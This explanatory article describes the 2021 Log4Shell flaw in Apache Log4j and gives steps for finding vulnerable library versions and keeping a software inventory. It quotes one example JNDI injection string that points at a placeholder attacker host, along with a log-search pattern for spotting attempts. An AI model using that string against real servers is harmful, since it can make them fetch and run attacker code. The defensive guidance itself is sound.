Log4Shell explained: what happened and how to check your own software

For a few days in December 2021, a surprising number of IT teams worked through the weekend. The reason was a line of text. Written into a log file by an ordinary program, it could hand an outsider control of the server.

What Log4j is, and why it was everywhere

When a program runs, it writes notes about what it's doing, such as logins, errors and warnings. That's logging. Apache Log4j 2 is a popular library that handles it for programs written in Java. Developers loved it because it was free, reliable, and flexible, so it ended up inside an enormous number of products: websites, business software, games, cloud services, even some appliances.

What went wrong

Log4j had a feature that let a log message contain small instructions that the library would carry out before writing the message. One of those instructions could reach out across the network and load something from another server.

That's convenient for developers and a gift to attackers, because a lot of what programs log comes straight from the outside world: usernames, search terms, browser details sent with every visit. An attacker only needed to get a crafted string into any of those. It looked like this (with a placeholder address):

${jndi:ldap://attacker.example/a}

When the server logged that text, Log4j obeyed it, fetched whatever the attacker's server offered, and ran it. No password and no prior access were needed. The flaw, CVE-2021-44228, was publicly disclosed on 9 December 2021, was given the top severity score of 10, and got the name Log4Shell. The researcher who first reported it to Apache was from Alibaba's cloud security team.

Fixes came quickly, with the first in version 2.15.0, but follow-up releases (2.16.0 and then 2.17.0) were needed as more weaknesses were found in the same area. Attackers were scanning for vulnerable systems within hours.

The real problem: nobody knew what they were running

Fixing Log4j was usually the easy part. The hard part was finding it. Many organisations discovered that the library was buried inside products from other companies, inside other libraries, or inside systems that nobody had looked at in years. Teams spent days just answering the question "do we use this?"

That is the lesson worth taking away from Log4Shell, whatever language your own site is written in. If you can't list what's inside your software, you can't say whether the next big flaw affects you.

How to check your own software

1. Ask. Your developers and vendors can tell you whether anything you run uses Java and Log4j. For hosted products, ask the supplier directly.
2. Check Java projects. For Maven, run mvn dependency:tree and look for log4j. For Gradle, gradle dependencies does the same job.
3. Search servers for the files. Look for log4j-core jar files, including ones tucked inside other archives.
4. Check the version. Anything older than the patched releases needs updating. Aim for the latest 2.x release rather than the first fix.
5. Review logs from December 2021 (and since) for strings starting with ${jndi: if the system was exposed and unpatched.

Make the next one painless

• Keep a simple inventory: each app, its main libraries and versions, and who looks after it. A spreadsheet is a good start.
• Turn on automatic alerts for vulnerable dependencies. GitHub's Dependabot and similar tools do this for free on many projects.
• Remove what you don't use. Every unused library is something that can break or be attacked.
• Keep things patched on a routine, not only when the news makes it feel urgent.

None of this needs to be complicated. The checklist in our security guide puts the inventory step first for exactly this reason, and an audit of your app will list the outdated components it finds.

Source: NVD: CVE-2021-44228